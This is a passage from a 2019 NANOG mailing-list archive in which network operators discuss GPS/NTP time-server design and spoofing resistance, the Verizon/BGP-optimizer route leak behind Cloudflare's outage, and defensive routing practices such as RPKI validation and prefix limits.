2019 so I hold networks to a higher standard than I did in 2009 or 1999. > > > > Dropping an ACL is fine, but then you have to clean it up when you're done. Your customers don't care that you almost didn't have an outage because you almost did your job right. Yeah, there's a difference between not following policy and not having a policy, but neither one is acceptable behavior from a T1 imo. If it's that easy to cause an outage by not following policy, then I argue that the policy should be better, or something should be better - monitoring, automation, sanity checks. etc. There are lots of ways to solve that problem. And in 2019 I really think there's no excuse for a T1 not to be doing that kind of thing. I don’t know about the outage (other than what I observed). I offered some suggestions for people to help prevent it from happening, so I’ll leave it there. We all make mistakes, I’ve been part of many and I’m sure that list isn’t yet complete. - Jared From jay at west.net Tue Jun 25 02:18:22 2019 From: jay at west.net (Jay Hennigan) Date: Mon, 24 Jun 2019 19:18:22 -0700 Subject: Cost effective time servers In-Reply-To: <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> Message-ID: <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> On 6/21/19 07:57, Quan Zhou wrote: > Yep, went through the same route until I figured out that GPS time is a > bit ahead of UTC. The data from GPS includes the offset value from UTC for leap-second correction. This should be easily included in your time calculation. It's presently 18 seconds. -- Jay Hennigan - jay at west.net Network Engineering - CCIE #7880 503 897-8550 - WB6RDV From cma at cmadams.net Tue Jun 25 02:21:32 2019 From: cma at cmadams.net (Chris Adams) Date: Mon, 24 Jun 2019 21:21:32 -0500 Subject: Cost effective time servers In-Reply-To: <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> Message-ID: <20190625022132.GA11253@cmadams.net> Once upon a time, Jay Hennigan said: > The data from GPS includes the offset value from UTC for leap-second > correction. This should be easily included in your time calculation. Not only that, but at least some GPS receivers/protocols notify of pending leap seconds, so software can properly distribute the notification in advance. -- Chris Adams From lists at packetflux.com Tue Jun 25 02:33:03 2019 From: lists at packetflux.com (Forrest Christian (List Account)) Date: Mon, 24 Jun 2019 20:33:03 -0600 Subject: Cost effective time servers In-Reply-To: <20190625022132.GA11253@cmadams.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> <20190625022132.GA11253@cmadams.net> Message-ID: I would submit that the proper use of a GPS receiver is for alignment of the start of the second to a more precise value than can be distributed across an asymmetric network like the Internet. The actual 'time label' for that second doesn't necessarily need to come from GPS at all. For security reasons, it's probably a good thing to make sure you validate the data received from GPS in any case. On Mon, Jun 24, 2019 at 8:23 PM Chris Adams wrote: > > Once upon a time, Jay Hennigan said: > > The data from GPS includes the offset value from UTC for leap-second > > correction. This should be easily included in your time calculation. > > Not only that, but at least some GPS receivers/protocols notify of > pending leap seconds, so software can properly distribute the > notification in advance. > > -- > Chris Adams -- - Forrest From cma at cmadams.net Tue Jun 25 02:35:09 2019 From: cma at cmadams.net (Chris Adams) Date: Mon, 24 Jun 2019 21:35:09 -0500 Subject: Cost effective time servers In-Reply-To: References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> <20190625022132.GA11253@cmadams.net> Message-ID: <20190625023509.GB11253@cmadams.net> Once upon a time, Forrest Christian (List Account) said: > I would submit that the proper use of a GPS receiver is for alignment > of the start of the second to a more precise value than can be > distributed across an asymmetric network like the Internet. The > actual 'time label' for that second doesn't necessarily need to come > from GPS at all. For security reasons, it's probably a good thing to > make sure you validate the data received from GPS in any case. If you don't trust the GPS receiver's idea of the time, why do you trust its start of the second? It seems really odd to trust one and not the other. -- Chris Adams From lists at packetflux.com Tue Jun 25 04:08:01 2019 From: lists at packetflux.com (Forrest Christian (List Account)) Date: Mon, 24 Jun 2019 22:08:01 -0600 Subject: Cost effective time servers In-Reply-To: <20190625023509.GB11253@cmadams.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> <4c8e779c-e6a2-ec9e-27d2-c8993cae81a7@west.net> <20190625022132.GA11253@cmadams.net> <20190625023509.GB11253@cmadams.net> Message-ID: It's about minimizing the impact of the attack vector. And you shouldn't implicitly trust the second alignment either. In a potential spoofing attack, if you trust the GPS for all of the data exclusively, then someone who can spoof your GPS (not as hard/expensive as one would think) can fully control what time you think it is. This is obviously bad. If instead you take the time data from another source, and only take the second from the GPS, at most you're going to be off a second. This is less bad but still bad in some cases. Fortunately, we can easily do better than this. NTP itself provides the solution. Ideally you'd get your time from multiple sources and use some sort of algorithm to determine what the most likely correct time is. NTP has this functionality built in. If you take a stratum 2 or 3 server, and add multiple, geographically diverse stratum 1 and 2 servers to it, the stratum 2 or 3 server will look at all of the views of time including second alignment that it is receiving, and will determine which servers can be trusted and which can't. If a stratum 1 server is being spoofed, the stratum 2 or 3 server will notice that it is out of alignment and ignore it. In this way, you don't trust what is coming down the GPS of one or two stratum 1 servers. For most people just running a stratum 2 or 3 server with a well-curated set of stratum 1 or 2 servers scattered around the internet will be accurate enough, and will provide robust, not easily spoofed time. The limitation here is that this is limited by RTT/2 in the worst case, so if you're a long ways away from your closest stratum 1 server, your clock may be offset by up to RTT/2 plus whatever systemic errors are inherent in the stratum 1 server (cable delays, etc). If you need better alignment, a local stratum 1 server can be used, but it should just be added to your local stratum 2 or 3 server to improve the alignment of the second. Once this is added, the stratum 2 or 3 server will typically notice that it's really close and will start to follow it's second alignment, but only if it is within the window that it has determined is likely to be valid by the 'voting' of all of the other stratum 1 and 2 servers which are scattered around. One other note: There are some stratum 1 servers out there which do not generally rely on GPS for time transfer from their stratum 1 clocks. For instance, the NIST and USNO ntp servers, along with others around the world in various standards organizations. It might pay to include some of these in your mix as well. On Mon, Jun 24, 2019 at 8:36 PM Chris Adams wrote: > > Once upon a time, Forrest Christian (List Account) said: > > I would submit that the proper use of a GPS receiver is for alignment > > of the start of the second to a more precise value than can be > > distributed across an asymmetric network like the Internet. The > > actual 'time label' for that second doesn't necessarily need to come > > from GPS at all. For security reasons, it's probably a good thing to > > make sure you validate the data received from GPS in any case. > > If you don't trust the GPS receiver's idea of the time, why do you trust > its start of the second? It seems really odd to trust one and not the > other. > -- > Chris Adams -- - Forrest From hank at efes.iucc.ac.il Tue Jun 25 04:49:14 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Tue, 25 Jun 2019 07:49:14 +0300 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: <9cd2995f-d2f7-f9ef-701d-64387ab656a4@efes.iucc.ac.il> On 25/06/2019 03:03, Tom Beecher wrote: > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do > not work on 701.  My comments are my own opinions only. > > Respectfully, I believe Cloudflare’s public comments today have been a > real disservice. This blog post, and your CEO on Twitter today, took > every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. > > Perhaps suggest to VZ management to use their blog: https://www.verizondigitalmedia.com/blog/ to contradict what CF blogged about? -Hank From morrowc.lists at gmail.com Tue Jun 25 05:17:07 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 25 Jun 2019 01:17:07 -0400 Subject: CloudFlare issues? In-Reply-To: <9cd2995f-d2f7-f9ef-701d-64387ab656a4@efes.iucc.ac.il> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <9cd2995f-d2f7-f9ef-701d-64387ab656a4@efes.iucc.ac.il> Message-ID: On Tue, Jun 25, 2019 at 12:49 AM Hank Nussbacher wrote: > > On 25/06/2019 03:03, Tom Beecher wrote: > > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do > > not work on 701. My comments are my own opinions only. > > > > Respectfully, I believe Cloudflare’s public comments today have been a > > real disservice. This blog post, and your CEO on Twitter today, took > > every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. > > > > > Perhaps suggest to VZ management to use their blog: > https://www.verizondigitalmedia.com/blog/ #coughwrongvz I think anyway - you probably mean: https://enterprise.verizon.com/ GoodLuck! I think it's 3 clicks to: "www22.verizon.com" which gets even moar fun! The NOC used to answer if you called: +1-800-900-0241 which is in their whois records... > to contrandict what CF blogged about? > > -Hank > From t0pe5p0h at meo.ws Tue Jun 25 09:25:37 2019 From: t0pe5p0h at meo.ws (Katie Holly) Date: Tue, 25 Jun 2019 11:25:37 +0200 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do not work on 701. My comments are my own opinions only. Disclaimer: As much as I dislike Cloudflare (I used to complain about them a lot on Twitter), this is something I am absolutely agreeing with them. Verizon failed to do the most basic of network security, and it will happen again, and again, and again... > This blog post, and your CEO on Twitter today, took every opportunity to say “DAMN THOSE MORONS AT 701!”. Damn those morons at 701, period. > But do we know they didn’t? They didn't, otherwise yesterday's LSE could have been prevented. > Do we know it was there and just setup wrong? If it virtually exists but does not work, it does not exist. > Did another change at another time break what was there? What's not there can not be changed. Keep in mind, another well-known route leak happened back in 2017 when Google leaked routes towards Verizon and Verizon silently accepted and propagated all of them without filtering. Probably nothing has changed since then. > Shouldn’t we be working on facts? They have stated the facts. > to take a harder stance on the BGP optimizer that generated he bogus routes The BGP optimizer was only the trigger for this event, the actual mis-configuration happened between 396531 and 701. IDGAF if 396531 or one of their peers uses a BGP optimizer, 701 should have filtered those out, but they decided to not do that instead. > You’re right to use this as a lever to push for proper filtering , RPKI, best practices. Yes, and 701 should follow those "best practices". Point being, I do network stuff since around 10 years and started doing BGP and internet routing related stuff only around three years ago and even _I_ can follow best practices. And if I have the knowledge about those things and can follow best practices, Verizon SURELY has enough resources to do so as well! On 6/25/19 2:03 AM, Tom Beecher wrote: > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do not work on 701.  My comments are my own opinions only. > > Respectfully, I believe Cloudflare’s public comments today have been a real disservice. This blog post, and your CEO on Twitter today, took every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. > > You are 100% right that 701 should have had some sort of protection mechanism in place to prevent this. But do we know they didn’t? Do we know it was there and just setup wrong? Did another change at another time break what was there? I used 701 many  jobs ago and they absolutely had filtering in place; it saved my bacon when I screwed up once and started readvertising a full table from a 2nd provider. They smacked my session down an I got a nice call about it. > > You guys have repeatedly accused them of being dumb without even speaking to anyone yet from the sounds of it. Shouldn’t we be working on facts? > > Should they have been easier to reach once an issue was detected? Probably. They’re certainly not the first vendor to have a slow response time though. Seems like when an APAC carrier takes 18 hours to get back to us, we write it off as the cost of doing business. > > It also would have been nice, in my opinion, to take a harder stance on the BGP optimizer that generated he bogus routes, and the steel company that failed BGP 101 and just gladly reannounced one upstream to another. 701 is culpable for their mistakes, but there doesn’t seem like there is much appetite to shame the other contributors. > > You’re right to use this as a lever to push for proper filtering , RPKI, best practices. I’m 100% behind that. We can all be a hell of a lot better at what we do. This stuff happens more than it should, but less than it could. > > But this industry is one big ass glass house. What’s that thing about stones again? > > On Mon, Jun 24, 2019 at 18:06 Justin Paine via NANOG > wrote: > > FYI for the group -- we just published this: https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/ > > > _________________ > *Justin Paine* > Director of Trust & Safety > PGP: BBAA 6BCE 3305 7FD6 6452 7115 57B6 0114 DE0B 314D > 101 Townsend St., San Francisco, CA 94107 > > > > > On Mon, Jun 24, 2019 at 2:25 PM Mark Tinka > wrote: > > > > On 24/Jun/19 18:09, Pavel Lunin wrote: > > > > > Hehe, I haven't seen this text before. Can't agree more. > > > > Get your tie back on Job, nobody listened again. > > > > More seriously, I see no difference between prefix hijacking and the > > so called bgp optimisation based on completely fake announces on > > behalf of other people. > > > > If ever your upstream or any other party who your company pays money > > to does this dirty thing, now it's just the right moment to go explain > > them that you consider this dangerous for your business and are > > looking for better partners among those who know how to run internet > > without breaking it. > > We struggled with a number of networks using these over eBGP sessions > they had with networks that shared their routing data with BGPmon. It > sent off all sorts of alarms, and troubleshooting it was hard when a > network thinks you are de-aggregating massively, and yet you know you > aren't. > > Each case took nearly 3 weeks to figure out. > > BGP optimizers are the bane of my existence. > > Mark. > From rsk at gsp.org Tue Jun 25 10:27:06 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Tue, 25 Jun 2019 06:27:06 -0400 Subject: CloudFlare issues? In-Reply-To: References: <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <09245C0B-705E-4107-9630-E9A47D8BF6A4@puck.nether.net> Message-ID: <20190625102706.GA4455@gsp.org> On Mon, Jun 24, 2019 at 09:39:13PM -0400, Ross Tajvar wrote: > A technical one - see below from CF's blog post: > "It is unfortunate that while we tried both e-mail and phone calls to reach > out to Verizon, at the time of writing this article (over 8 hours after the > incident), we have not heard back from them, nor are we aware of them > taking action to resolve the issue." Which is why an operation the size of Verizon should be able to manage the trivial task of monitoring its RFC 2142 role addresses 24x7 with a response time measured in minutes. And not just Verizon: every large operation should be doing the same. There is no excuse for failure to implement this rudimentary operational practice. [ And let me add that a very good way to deal with mail sent to those addresses is to use procmail to pre-sort based on who it's from. Every time a message is received from a new source, a new procmail rule should be added to classify it appropriately. Over time, this makes it very easy to identify traffic from clueful people vs. traffic from idiots, and thus to readily discern what needs to be triaged first. ] ---rsk From hank at efes.iucc.ac.il Tue Jun 25 10:51:58 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Tue, 25 Jun 2019 13:51:58 +0300 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <9cd2995f-d2f7-f9ef-701d-64387ab656a4@efes.iucc.ac.il> Message-ID: <57bc7720-7a6d-b7e3-9bf6-e861d9fbd51f@efes.iucc.ac.il> On 25/06/2019 08:17, Christopher Morrow wrote: > On Tue, Jun 25, 2019 at 12:49 AM Hank Nussbacher wrote: >> On 25/06/2019 03:03, Tom Beecher wrote: >>> Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do >>> not work on 701. My comments are my own opinions only. >>> >>> Respectfully, I believe Cloudflare’s public comments today have been a >>> real disservice. This blog post, and your CEO on Twitter today, took >>> every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. >>> >>> >> Perhaps suggest to VZ management to use their blog: >> https://www.verizondigitalmedia.com/blog/ > #coughwrongvz > > I think anyway - you probably mean: > https://enterprise.verizon.com/ This post is unrelated to Verizon Enterprise? https://www.verizondigitalmedia.com/blog/2019/06/exponential-global-growth-at-75-tbps/ -Hank > > GoodLuck! I think it's 3 clicks to: "www22.verizon.com" which gets > even moar fun! > The NOC used to answer if you called: +1-800-900-0241 > which is in their whois records... > >> to contrandict what CF blogged about? >> >> -Hank >> From beecher at beecher.cc Tue Jun 25 11:22:42 2019 From: beecher at beecher.cc (Tom Beecher) Date: Tue, 25 Jun 2019 07:22:42 -0400 Subject: CloudFlare issues? In-Reply-To: <57bc7720-7a6d-b7e3-9bf6-e861d9fbd51f@efes.iucc.ac.il> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <9cd2995f-d2f7-f9ef-701d-64387ab656a4@efes.iucc.ac.il> <57bc7720-7a6d-b7e3-9bf6-e861d9fbd51f@efes.iucc.ac.il> Message-ID: Verizon Business / Enterprise is the access network, aka 701/2/3. Verizon Media Group is the CDNs/Media side. Digital Media Services ( Edgecast ) , Yahoo, AOL. 15133 / 10310 / 1668. ( The entity formerly named Oath, created when Yahoo was acquired. ) On Tue, Jun 25, 2019 at 06:54 Hank Nussbacher wrote: > On 25/06/2019 08:17, Christopher Morrow wrote: > > On Tue, Jun 25, 2019 at 12:49 AM Hank Nussbacher > wrote: > >> On 25/06/2019 03:03, Tom Beecher wrote: > >>> Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do > >>> not work on 701. My comments are my own opinions only. > >>> > >>> Respectfully, I believe Cloudflare’s public comments today have been a > >>> real disservice. This blog post, and your CEO on Twitter today, took > >>> every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. > >>> > >>> > >> Perhaps suggest to VZ management to use their blog: > >> https://www.verizondigitalmedia.com/blog/ > > #coughwrongvz > > > > I think anyway - you probably mean: > > https://enterprise.verizon.com/ > This post is unrelated to Verizon Enterprise? > > https://www.verizondigitalmedia.com/blog/2019/06/exponential-global-growth-at-75-tbps/ > > -Hank > > > > GoodLuck! I think it's 3 clicks to: "www22.verizon.com" which gets > > even moar fun! > > The NOC used to answer if you called: +1-800-900-0241 > > which is in their whois records... > > > >> to contrandict what CF blogged about? > >> > >> -Hank > >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From patrick at ianai.net Tue Jun 25 12:31:52 2019 From: patrick at ianai.net (Patrick W. Gilmore) Date: Tue, 25 Jun 2019 08:31:52 -0400 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: [Removing the attribution, because many people have made statements like this over the last day - or year. Just selecting this one as a succinct and recent example to illustrate the point.] >> This blog post, and your CEO on Twitter today, took every opportunity to say “DAMN THOSE MORONS AT 701!”. > Damn those morons at 701, period. I must be old. All I can think is Kids These Days, and maybe Get Off My BGP, er Lawn. Any company running a large, high complex infrastructure is going to make mistakes. Period. It is not like 701 is causing problems every week, or even ever year. If you think this one incident proves they are ‘morons’, you are only showing you are neither experienced nor mature enough to make that judgement. To be clear, they may well be morons. I no longer know many people architecting and operating 701’s backbone, so I cannot tell you first-hand how smart they are. Maybe they are stupid, but exceptionally lucky. However, the facts at hand do not support your blanket assertion, and making it does not speak well of you. OTOH, I do have first-hand experience with previous CF blog posts, and to say they spin things in their favor is being generous. But then, it’s a blog post, i.e. Marketing. What else would you expect? I know it is anathema to the ethos of the network engineers & architects to work together instead of hurling insults, but it would probably result in a better Internet. And isn’t that what we all (supposedly) want? -- TTFN, patrick From matthew at walster.org Tue Jun 25 12:49:47 2019 From: matthew at walster.org (Matthew Walster) Date: Tue, 25 Jun 2019 14:49:47 +0200 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: On Tue, 25 Jun 2019, 14:31 Patrick W. Gilmore, wrote: > I must be old. All I can think is Kids These Days, and maybe Get Off My > BGP, er Lawn. > Maybe they ought to [puts on shades] mind their MANRS. M (scuttling away) > -------------- next part -------------- An HTML attachment was scrubbed... URL: From adamkennedy at watchcomm.net Tue Jun 25 12:59:37 2019 From: adamkennedy at watchcomm.net (Adam Kennedy) Date: Tue, 25 Jun 2019 08:59:37 -0400 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: Now with that out of the way... The mentality of everyone working together for a Better Internet (tm) is sort of a mantra of WISPA and WISPs in general. It is a mantra that has puzzled me and perplexed my own feelings as a network engineer. Do I want a better overall experience for my users and customers? Absolutely. Do I strive to make our network the best... pause... in the world? Definitely. Should I do the same to help a neighboring ISP, a competitor? This is where I scratch my head. You would absolutely think that we would all want a better overall Internet. One that we can depend on in times of need. One that we can be proud of. But we are driven, unfortunately, by our C-level execs to shun the competition and do whatever we can to get a leg up on everyone else. While this is good for the bottom line it is not exactly a healthy mentality to pit everyone against each other. It causes animosity between providers and we end up blaming each other for something simple and then claim they are stupid. A mistake that may be easy to make, a mistake that we have probably made ourselves a few times, perhaps a mistake we can learn to shrug off. I believe there probably is a happy medium we can all meet, sort of our own ISP DMZ, where we can help one another in the simple mistakes or cut each other some slack in those difficult times. I like to think NANOG is that place. -- Adam Kennedy, Network & Systems Engineer adamkennedy at watchcomm.net *Watch Communications* (866) 586-1518 On Tue, Jun 25, 2019 at 8:50 AM Matthew Walster wrote: > > > On Tue, 25 Jun 2019, 14:31 Patrick W. Gilmore, wrote: > >> I must be old. All I can think is Kids These Days, and maybe Get Off My >> BGP, er Lawn. >> > > Maybe they ought to [puts on shades] mind their MANRS. > > M (scuttling away) > >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From list at satchell.net Tue Jun 25 14:04:12 2019 From: list at satchell.net (Stephen Satchell) Date: Tue, 25 Jun 2019 07:04:12 -0700 Subject: CloudFlare issues? In-Reply-To: <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: <6dcd5d26-53d7-2fa2-bb04-d9d2e8a93938@satchell.net> On 6/25/19 2:25 AM, Katie Holly wrote: > Disclaimer: As much as I dislike Cloudflare (I used to complain about > them a lot on Twitter), this is something I am absolutely agreeing with > them. Verizon failed to do the most basic of network security, and it > will happen again, and again, and again... I used to be a quality control engineer in my career, so I have a question to ask from the perspective of a QC guy: what is the Best Practice for minimizing, if not totally preventing, this sort of problem? Is there a "cookbook" answer to this? (I only run edge networks now, and don't have BGP to worry about. If my current $dayjob goes away -- they all do -- I might have to get back into the BGP game, so this is not an idle query.) Somehow "just be careful and clueful" isn't the right answer. From aftab.siddiqui at gmail.com Tue Jun 25 14:12:45 2019 From: aftab.siddiqui at gmail.com (Aftab Siddiqui) Date: Wed, 26 Jun 2019 00:12:45 +1000 Subject: CloudFlare issues? In-Reply-To: <6dcd5d26-53d7-2fa2-bb04-d9d2e8a93938@satchell.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> <6dcd5d26-53d7-2fa2-bb04-d9d2e8a93938@satchell.net> Message-ID: Hi Stephen, > I used to be a quality control engineer in my career, so I have a > question to ask from the perspective of a QC guy: what is the Best > Practice for minimizing, if not totally preventing, this sort of > problem? Is there a "cookbook" answer to this? > As suggested by Job in the thread above, - deploy RPKI based BGP Origin validation (with invalid == reject) - apply maximum prefix limits on all EBGP sessions - ask your router vendor to comply with RFC 8212 ('default deny') - turn off your 'BGP optimizers' --> You actually don't need that at all. I survived without any optimizer. Aslo, read RFC7454 and join MANRS :) Regards, Aftab Siddiqui -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Tue Jun 25 14:13:55 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Tue, 25 Jun 2019 16:13:55 +0200 Subject: Are network operators morons? [was: CloudFlare issues?] In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> Message-ID: <20277519-edce-7176-bb99-ccc73c0997d0@seacom.mu> On 25/Jun/19 14:59, Adam Kennedy via NANOG wrote: > > > I believe there probably is a happy medium we can all meet, sort of > our own ISP DMZ, where we can help one another in the simple mistakes > or cut each other some slack in those difficult times. I like to think > NANOG is that place. Isn't that the point of NOG's, and why we rack so many air miles each year trying to meet each other and break bread (or something) while checking the Competition Hats at the door? Mark. From cb.list6 at gmail.com Tue Jun 25 14:21:34 2019 From: cb.list6 at gmail.com (Ca By) Date: Tue, 25 Jun 2019 07:21:34 -0700 Subject: CloudFlare issues? In-Reply-To: <6dcd5d26-53d7-2fa2-bb04-d9d2e8a93938@satchell.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <47d6284a-6a83-b207-e461-119e2196507f@meo.ws> <6dcd5d26-53d7-2fa2-bb04-d9d2e8a93938@satchell.net> Message-ID: On Tue, Jun 25, 2019 at 7:06 AM Stephen Satchell wrote: > On 6/25/19 2:25 AM, Katie Holly wrote: > > Disclaimer: As much as I dislike Cloudflare (I used to complain about > > them a lot on Twitter), this is something I am absolutely agreeing with > > them. Verizon failed to do the most basic of network security, and it > > will happen again, and again, and again... > > I used to be a quality control engineer in my career, so I have a > question to ask from the perspective of a QC guy: what is the Best > Practice for minimizing, if not totally preventing, this sort of > problem? Is there a "cookbook" answer to this? > > (I only run edge networks now, and don't have BGP to worry about. If my > current $dayjob goes away -- they all do -- I might have to get back > into the BGP game, so this is not an idle query.) > > Somehow "just be careful and clueful" isn't the right answer. 1. Know what to expect — create policy to enforce routes and paths that you expect, knowing sometimes this may be very broad 2. Enforce what you expect — drop routes and session that do not conform 3. Use all the internal tools in series as layers of defense — as-path-list with regex, ip prefix lists, max-routes — they work in series and all must match. Shoving everything into a route-map is not best, because what happens when that policy breaks? Good to have layers. 4. Use irr, rpki, and alarming as external ecosystem tools. 5. Dont run noction or ios, unsafe defaults. 6. When on the phone with your peer, verbally check to make sure they double check their policy. Dont assume. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Tue Jun 25 14:25:05 2019 From: job at ntt.net (Job Snijders) Date: Tue, 25 Jun 2019 16:25:05 +0200 Subject: BGP filtering study resources (Was: CloudFlare issues?) Message-ID: <20190625142505.GO49950@hanna.meerval.net> Dear Stephen, On Tue, Jun 25, 2019 at 07:04:12AM -0700, Stephen Satchell wrote: > On 